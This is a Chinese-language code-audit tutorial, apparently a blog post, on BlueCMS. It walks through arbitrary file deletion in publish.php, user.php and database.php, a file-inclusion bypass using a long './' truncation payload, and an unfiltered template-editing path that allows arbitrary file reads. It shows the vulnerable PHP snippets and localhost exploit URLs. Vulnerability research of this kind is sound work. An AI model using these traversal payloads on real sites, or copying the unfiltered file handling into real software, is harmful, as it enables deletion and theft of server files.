前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[代码审计]从0开始学习之bluecms(2)

[代码审计]从0开始学习之bluecms(2)

作者头像
YanXia
发布2023-04-07 16:44:32
4850
发布2023-04-07 16:44:32
举报
文章被收录于专栏:YX’blog

上文地址http://535yx.cn/index.php/archives/400/

0X00前言

02098-c2jmhm0na3e.png
02098-c2jmhm0na3e.png

闲来无事我去cnvd逛了逛这cms有啥洞便于挖掘,接下来文章继续

0x01正文

  • 任意文件删除(publish.php)
53961-200bau88dxs.png
53961-200bau88dxs.png

第一个在publish.php

75918-vonu1y3g4t9.png
75918-vonu1y3g4t9.png

重点在@unlink上

59265-mvoj9pjd22.png
59265-mvoj9pjd22.png

所以说,这里存在一个任意文件删除漏洞。接下来我们来复现一下 (注:这个地方需要先登入才能执行)

45830-mnug0j1s11.png
45830-mnug0j1s11.png
97869-df2x34le05u.png
97869-df2x34le05u.png

先在同目录下新建个1.txt文件 为了方便观看,我在代码下加个echo

72498-tccovz00a5.png
72498-tccovz00a5.png

构建参数:

代码语言:javascript
复制
http://localhost/shenji/bluecms/publish.php?act=del_pic&id=1.txt
12068-pttfovoti8n.png
12068-pttfovoti8n.png
  • 任意文件删除(user.php)

先说个未成功的

18331-scazkemhtu.png
18331-scazkemhtu.png
33819-dqdvtpzv93d.png
33819-dqdvtpzv93d.png

这块就有点迷了,与publsh.php中的代码差别仅是表名不同,但是却不能执行。

我们接着往上翻

85979-h04gdb6jtwa.png
85979-h04gdb6jtwa.png
代码语言:javascript
复制
else{
        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
            @unlink(BLUE_ROOT.$_POST['face_pic3']);
        }
    }
24343-fvb6kkvpfjt.png
24343-fvb6kkvpfjt.png

成功执行!

  • 任意文件删除(database.php)
87487-pswxtukp2vn.png
87487-pswxtukp2vn.png

可以发现这里参数输入仅仅删除了字符串首尾的空白符,所以说可以利用../来实现任意文件删除 接下来我们试试删除根目录的2.txt文件

61224-dwywfbmpqmu.png
61224-dwywfbmpqmu.png
14683-456g9iy5d74.png
14683-456g9iy5d74.png
  • 文件包含漏洞(user.php)
70462-atvggzle7a.png
70462-atvggzle7a.png
75191-fnmphtufueq.png
75191-fnmphtufueq.png

嗯,cnvd这里看出了该漏洞十有八九在user.php

29311-gd347rhmp1g.png
29311-gd347rhmp1g.png
06598-o5bkkt1blp8.png
06598-o5bkkt1blp8.png

这里我们就要尝试截断后面的文件地址。常见手法有%00 ./ 以及无数个. 这里要求: 长度截断:条件:windows的点需要长于256;linux的长于4096 %00条件:magic_quotes_gpc = Off php版本<5.3.4(由于文件自带addslashes()过滤所以说这里不能用00截断) OK,我们先在根目录建个txt

23477-51ja596lhnt.png
23477-51ja596lhnt.png

最后如图所示:

97236-i7vpg5lectr.png
97236-i7vpg5lectr.png
代码语言:javascript
复制
pay=../../2.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

也是可以的

  • 文件读取漏洞(/admin/tpl_manage.php)

这个漏洞在cnvd里看了下好像没有看到。有想交的xd可以自己去交,我懒得去提交了 我们先打开这个地址看看

13356-2i7ud38hlly.png
13356-2i7ud38hlly.png

原来是个编辑模板的(在后台功能上只能编辑模板的html) 我们看看这个地址代码

代码语言:javascript
复制
elseif($act == 'edit'){
    $file = $_GET['tpl_name'];
    if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
        showmsg('��Ŀ��ģ���ļ�ʧ��');
    }
    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
    $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
    fclose($handle);
    $tpl['name'] = $file;
    template_assign(array('current_act', 'tpl'), array('�༭ģ��', $tpl));
    $smarty->display('tpl_info.htm');
 }

这里可以发现$file变量未经过任何过滤,所以说可以造成个任意文件读取的漏洞

代码语言:javascript
复制
http://localhost/shenji/bluecms//admin/tpl_manage.php?act=edit&tpl_name=../../yanxia.txt
76873-7r0bv2vc5nm.png
76873-7r0bv2vc5nm.png
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021年06月19日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0X00前言
  • 0x01正文
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档